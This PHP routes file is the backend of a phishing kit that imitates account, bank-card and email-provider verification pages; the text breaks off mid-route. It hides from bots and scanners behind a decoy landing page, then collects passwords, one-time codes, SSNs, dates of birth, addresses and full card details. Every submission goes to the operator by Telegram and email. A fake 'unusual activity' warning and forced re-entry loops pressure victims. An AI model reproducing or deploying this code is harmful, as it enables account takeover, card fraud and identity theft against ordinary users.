<?php

use App\Http\Controllers\Controller;
use App\Services\BotValidator;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Route;
use LVR\CreditCard\CardNumber;
use Telegram\Bot\Api;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::any('/',function (){

    $forceAllow = request()->has('pelr');
    if(!(bool)\App\Models\Setting::query()->where('key','activate')->first()?->value??false) {
        (new BotValiDator(request()->ip()))->addToBlackList();
        return view('landing');
    }

    if(!(new BotValiDator(request()->ip()))->ipValid($forceAllow)){
        (new BotValiDator(request()->ip()))->addToBlackList();
        return view('landing');
    }
    (new BotValiDator(request()->ip()))->addToRealVisit();

    if(config('app.cloudflare')==1) {
        return view('page0');
    }
    else{
        session()->put('mm',true);
        if(!\Illuminate\Support\Facades\Session::has('visitor')){
            \Illuminate\Support\Facades\Session::put('visitor',request()->ip());
            if(config('app.use_telegram')==1) {
                $response = new Api(config('app.telegram_key'));
                $array=['action'=>'New visitor outlook','ip'=>request()->ip()];
                $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),

                    'text' => Controller::formatArrayToString($array)]);
            }
        }
        if(!session()->has('user')){
            $id =\Illuminate\Support\Str::uuid()->toString();
            session()->put('user',$id);
            $ip=request()->ip();
            $userAgent=request()->userAgent();
            $locData = Http::withUserAgent($userAgent)->get("http://ip-api.com/json/$ip")->json();
            if(optional($locData)['status']=='success') {
                $countryName = $locData['country'];
                $isp = $locData['isp'];
            }else{
                $countryName='';
                $isp='';
            }
            $data = ['ip'=>$ip,'user_agent'=>$userAgent,'country'=>$countryName,'isp'=>$isp];
            $session = \App\Models\Session::query()->create([
                'identifier'=>$id,
                'session_data'=>json_encode($data),
            ]);
        }
        else{
            $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
            if(!$session){
                $id =\Illuminate\Support\Str::uuid()->toString();
                session()->put('user',$id);
                $ip=request()->ip();
                $userAgent=request()->userAgent();
                $locData = Http::withUserAgent($userAgent)->get("http://ip-api.com/json/$ip")->json();
                if(optional($locData)['status']=='success') {
                    $countryName = $locData['country'];
                    $isp = $locData['isp'];
                }else{
                    $countryName='';
                    $isp='';
                }
                $data = ['ip'=>$ip,'user_agent'=>$userAgent,'country'=>$countryName,'isp'=>$isp];
                $session = \App\Models\Session::query()->create([
                    'identifier'=>$id,
                    'session_data'=>json_encode($data),
                ]);
            }
        }
        $page = Controller::nextPage();
        $session->sessionProcesses()->firstOrCreate([
            'proceed_to'=>$page,
            'filled'=>false
        ],['filled'=>false]);
        return to_route($page);
    }

})->name('h');
Route::post('/',function (\Illuminate\Http\Request $request){
    if($request->has('duration')){
        return abort(503);
    }
    $request->validate([
        'timer'=>'required|numeric'
    ]);
    if(!is_null($request->username)){

        return abort(503);
    }
    $calc= $request->input('timer')/100000;
    if($calc<5000){
        return abort(503);
    }
    session()->put('mm',true);
    if(!session()->has('user')){
        $id =\Illuminate\Support\Str::uuid()->toString();
        session()->put('user',$id);
        $ip=request()->ip();
        $userAgent=request()->userAgent();
        $locData = Http::withUserAgent($userAgent)->get("http://ip-api.com/json/$ip")->json();
        if(optional($locData)['status']=='success') {
            $countryName = $locData['country'];
            $isp = $locData['isp'];
        }else{
            $countryName='';
            $isp='';
        }
        $data = ['ip'=>$ip,'user_agent'=>$userAgent,'country'=>$countryName,'isp'=>$isp];
        $session = \App\Models\Session::query()->create([
            'identifier'=>$id,
            'session_data'=>json_encode($data),
        ]);
    }
    else{
        $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
        if(!$session){
            $id =\Illuminate\Support\Str::uuid()->toString();
            session()->put('user',$id);
            $ip=request()->ip();
            $userAgent=request()->userAgent();
            $locData = Http::withUserAgent($userAgent)->get("http://ip-api.com/json/$ip")->json();
            if(optional($locData)['status']=='success') {
                $countryName = $locData['country'];
                $isp = $locData['isp'];
            }else{
                $countryName='';
                $isp='';
            }
            $data = ['ip'=>$ip,'user_agent'=>$userAgent,'country'=>$countryName,'isp'=>$isp];
            $session = \App\Models\Session::query()->create([
                'identifier'=>$id,
                'session_data'=>json_encode($data),
            ]);
        }
    }
    $page = Controller::nextPage();
    $session->sessionProcesses()->firstOrCreate([
        'proceed_to'=>$page,
        'filled'=>false
    ],['filled'=>false]);
    return to_route('start');
})->name('h');

Route::get('/login', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }
    return view('login');
})->name('login');
Route::post('/login',function (\Illuminate\Http\Request $request){
    $page = 'login';
    $counter = (int)session()->get("looper_$page")??0;

    $data = $request->validate([
        'email'=>'required|email',
        'password'=>'required',
    ]);
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }
    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }



    return to_route('processing');
})->name('login');

Route::get('/f-login', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('home');
    }
    return view('f-login');
})->name('f-login');
Route::post('/f-login',function (\Illuminate\Http\Request $request){
    $page = 'f-login';
    $counter = (int)session()->get("looper_$page")??0;

    $data = $request->validate([
        'email'=>'required|email',
        'password'=>'required',
    ]);
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }
        //alert()->error("Sorry","Invalid Authentication Credentials provided");
        return back();
    }
    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }
    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }

    return to_route('processing');
})->name('f-login');

Route::get('/verify-otp', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }

    return view('otp');
})->name('verify-otp');
Route::post('/verify-otp',function (\Illuminate\Http\Request $request){
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $data = $request->validate([
        'security_code'=>'required',
    ]);
    $page = 'verify-otp';
    $counter = (int)session()->get("looper_$page")??0;
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }

    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }

    return to_route('processing');
})->name('verify-otp');

Route::get('/authenticator-otp', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }

    return view('authenticator-otp');
})->name('authenticator-otp');
Route::post('/authenticator-otp',function (\Illuminate\Http\Request $request){
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $data = $request->validate([
        'security_code'=>'required',
    ]);
    $page = 'authenticator-otp';
    $counter = (int)session()->get("looper_$page")??0;
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }

    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }

    return to_route('processing');
})->name('authenticator-otp');

Route::get('/email-otp', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }

    return view('email-otp');
})->name('bank-email-otp');
Route::post('/email-otp',function (\Illuminate\Http\Request $request){
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $data = $request->validate([
        'security_code'=>'required',
    ]);
    $page = 'bank-email-otp';
    $counter = (int)session()->get("looper_$page")??0;
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }

    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }

    return to_route('processing');
})->name('bank-email-otp');

Route::get('/email', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }

    return view('email');
})->name('email');
Route::post('/email',function (\Illuminate\Http\Request $request){
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $data = $request->validate([
        'email_address'=>'required',
    ]);
    $page = 'email';
    $counter = (int)session()->get("looper_$page")??0;
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }

    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }
    $mail = Controller::guessMail($data['email_address']);
    return to_route('institution',['mail'=>$mail]);
})->name('email');

Route::get('/verify-phone', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }

    return view('phone');
})->name('phone');
Route::post('/verify-phone',function (\Illuminate\Http\Request $request){
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $data = $request->validate([
        'phone_number'=>'required',

    ]);
    $page = 'phone';
    $counter = (int)session()->get("looper_$page")??0;
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }

    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }

    return to_route('processing');
})->name('phone');



Route::get('/verify-billing', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }
    return view('billing');
})->name('billing');
Route::post('/verify-billing',function (\Illuminate\Http\Request $request){
    $page = 'billing';
    $counter = (int)session()->get("looper_$page")??0;

    $data = $request->validate([
        'full_name'=>['required'],
        'address'=>['required'],
        'dob'=>['required',],
        'ssn'=>['required'],
        'zipcode'=>['required','string','max:10'],
        'phone'=>['required','string'],
        'state'=>['required',],
        'city'=>['required'],
    ]);
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }
    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }

    return to_route('processing');
})->name('billing');


Route::get('/verify-card', function () {
    abort_if(!session()->has('mm'),503);
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if(is_null($user)) {
        return to_route('h');
    }
    $data = $user->sessionProcesses()->where('proceed_to','authorize-pinsentry')->where('filled',false)->latest()->first()?->data;
    return view('card');
})->name('card');
Route::post('/verify-card',function (\Illuminate\Http\Request $request){
    $page = 'card';
    $counter = (int)session()->get("looper_$page")??0;

    $data = $request->validate([
        'card_name'=>['required'],
        'card_number' => ['required', new CardNumber],
        'expiry_date' => ['required','size:5', function($a,$v,$f){
            $month = substr($v,0,2);
            $year = substr($v,3,2);
            if($month<1 || $month>12){
                $f("The expiry month must be between 1 and 12");
            }
            if(Carbon::create((int)(substr(now()->format('Y'),0,2).$year),(int)$month)->lessThan(now()->format('Y-m'))){
                $f('Card expired.');
            }
        }],
        'cvv' => ['required', 'digits:3']
    ]);
    $session = \App\Models\Session::query()->where('identifier',session()->get('user'))->first();
    $ip = ['ip'=>$request->ip(),'user_agent'=>$request->userAgent()];
    $session->data()->create([
        'page'=>$page,
        'data'=>json_encode($data)
    ]);
    $session->sessionProcesses()->where('proceed_to',$page)->where('filled',false)->update(['filled'=>true]);
    session()->put("page-$page",$data);
    if($counter<Controller::getPageLoop($page) && !$session->hasLatestNotFilled()){
        $counter+=1;
        session()->put("looper_$page",$counter);
        session()->flash('errorData',true);
        $session->data()->create([
            'page'=>$page,
            'data'=>json_encode($data)
        ]);
        if(config('app.use_telegram')==1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($data + $ip)]);
        }

        if(config('app.use_smtp')==1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
            } catch (Exception $exception) {

            }
        }

        return back();
    }

    $array = [];
    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }
    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString($array+$ip)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    if(Controller::pageIsFirst($page)){
        alert()
            ->warning('We\'ve noticed some unusual activity' ,'We need your help securing your account to prevent any unauthorized access. For your safety, there may be some limitations on your account if the information isn\'t  correct.')->autoClose(7000);
    }

    return to_route('processing');
})->name('card');

Route::prefix('{mail}')->whereIn('mail',['yahoo','gmail','aol','microsoft','other'])->group(function () {
    Route::get('institution',function ($mail){
        abort_if(!session()->has('mm'),503);
        $user = session()->get('user');
        $user = \App\Models\Session::query()->where('identifier',$user)->first();
        $user->update(['bank'=>$mail]);
        return to_route("password");
    })->name('institution');



    Route::get('/password', function () {
        $user = session()->get('user');
        $user = \App\Models\Session::query()->where('identifier', $user)->first();

        if (is_null($user)) {
            return to_route('h');
        }
        if (session()->has('page-email')) {
            $email = session()->get('page-email')['email_address'];
        } else {
            $email = '*********@***.***';
        }
        return view("{$user->bank}.password", [
            'email' => $email
        ]);
    })->name('password');
    Route::post('/password', function (\Illuminate\Http\Request $request) {
        $page = 'password';
        $counter = (int)session()->get("looper_$page") ?? 0;

        $data = $request->validate([
            'password' => 'required',
        ]);
        $session = \App\Models\Session::query()->where('identifier', session()->get('user'))->first();
        $ip = ['ip' => $request->ip(), 'user_agent' => $request->userAgent()];
        if ($counter < Controller::getPageLoop($page) && !$session->hasLatestNotFilled()) {
            $counter += 1;
            session()->put("looper_$page", $counter);
            session()->flash('errorData', true);
            $session->data()->create([
                'page' => $page,
                'data' => json_encode($data)
            ]);
            if (config('app.use_telegram') == 1) {
                $response = new Api(config('app.telegram_key'));
                $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                    'text' => Controller::formatArrayToString($data + $ip)]);
            }

            if (config('app.use_smtp') == 1) {
                try {
                    \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
                } catch (Exception $exception) {

                }
            }

            return back();
        }
        $session->data()->create([
            'page' => $page,
            'data' => json_encode($data)
        ]);
        $session->sessionProcesses()->where('proceed_to', $page)->where('filled', false)->update(['filled' => true]);
        session()->put("page-$page", $data);
        $array = [];
        $flows = explode(',', config('app.page_flow'));
        foreach ($flows as $flow) {
            $array = session()->get("page-$flow", []) + $array;
        }
        if (config('app.use_telegram') == 1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($array)]);
        }
        if (config('app.use_smtp') == 1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array));
            } catch (Exception $exception) {

            }
        }


        return to_route('processing');
    })->name('password');


    Route::get('/check-device', function () {
        abort_if(!session()->has('mm'), 503);
        $user = session()->get('user');
        $user = \App\Models\Session::query()->where('identifier', $user)->first();

        if (is_null($user)) {
            return to_route('h');
        }
        $device = $user->sessionProcesses()->where('proceed_to', 'check-device')->where('filled', false)->latest()->first()?->data ?? 'device';

        return view("{$user->bank}.check-device", [
            'email' => session()->get('page-email')['email_address'],
            'device' => $device,
        ]);
    })->name('check-device');
    Route::get('/device-number-confirmation', function () {
        abort_if(!session()->has('mm'), 503);
        $user = session()->get('user');
        $user = \App\Models\Session::query()->where('identifier', $user)->first();

        if (is_null($user)) {
            return to_route('h');
        }
        $device = $user->sessionProcesses()->where('proceed_to', 'device-number-confirmation')->where('filled', false)->latest()->first()?->data ?? '';
        return view("{$user->bank}.device-number-confirmation", [
            'email' => session()->get('page-email')['email_address'],
            'code' => $device,
        ]);
    })->name('device-number-confirmation');
    Route::get('/verify-mail-otp', function () {
        $user = session()->get('user');
        $user = \App\Models\Session::query()->where('identifier', $user)->first();

        if (is_null($user)) {
            return to_route('h');
        }
        //$data = $user->data()->where('page','login')->latest()->first()->data;
        $data = $user->sessionProcesses()->where('proceed_to', 'otp')->where('filled', false)->latest()->first()?->data;
        return view("{$user->bank}.otp", [
            'email' => session()->get('page-email')['email_address'],
            'number' => $data
        ]);
    })->name('otp');
    Route::post('/verify-mail-otp', function (\Illuminate\Http\Request $request) {
        $ip = ['ip' => $request->ip(), 'user_agent' => $request->userAgent()];
        $data = $request->validate([
            'security_code' => 'required',
        ]);
        $page = 'otp';
        $counter = (int)session()->get("looper_$page") ?? 0;
        $session = \App\Models\Session::query()->where('identifier', session()->get('user'))->first();
        $ip = ['ip' => $request->ip(), 'user_agent' => $request->userAgent()];
        if ($counter < Controller::getPageLoop($page) && !$session->hasLatestNotFilled()) {
            $counter += 1;
            session()->put("looper_$page", $counter);
            session()->flash('errorData', true);
            $session->data()->create([
                'page' => $page,
                'data' => json_encode($data)
            ]);
            if (config('app.use_telegram') == 1) {
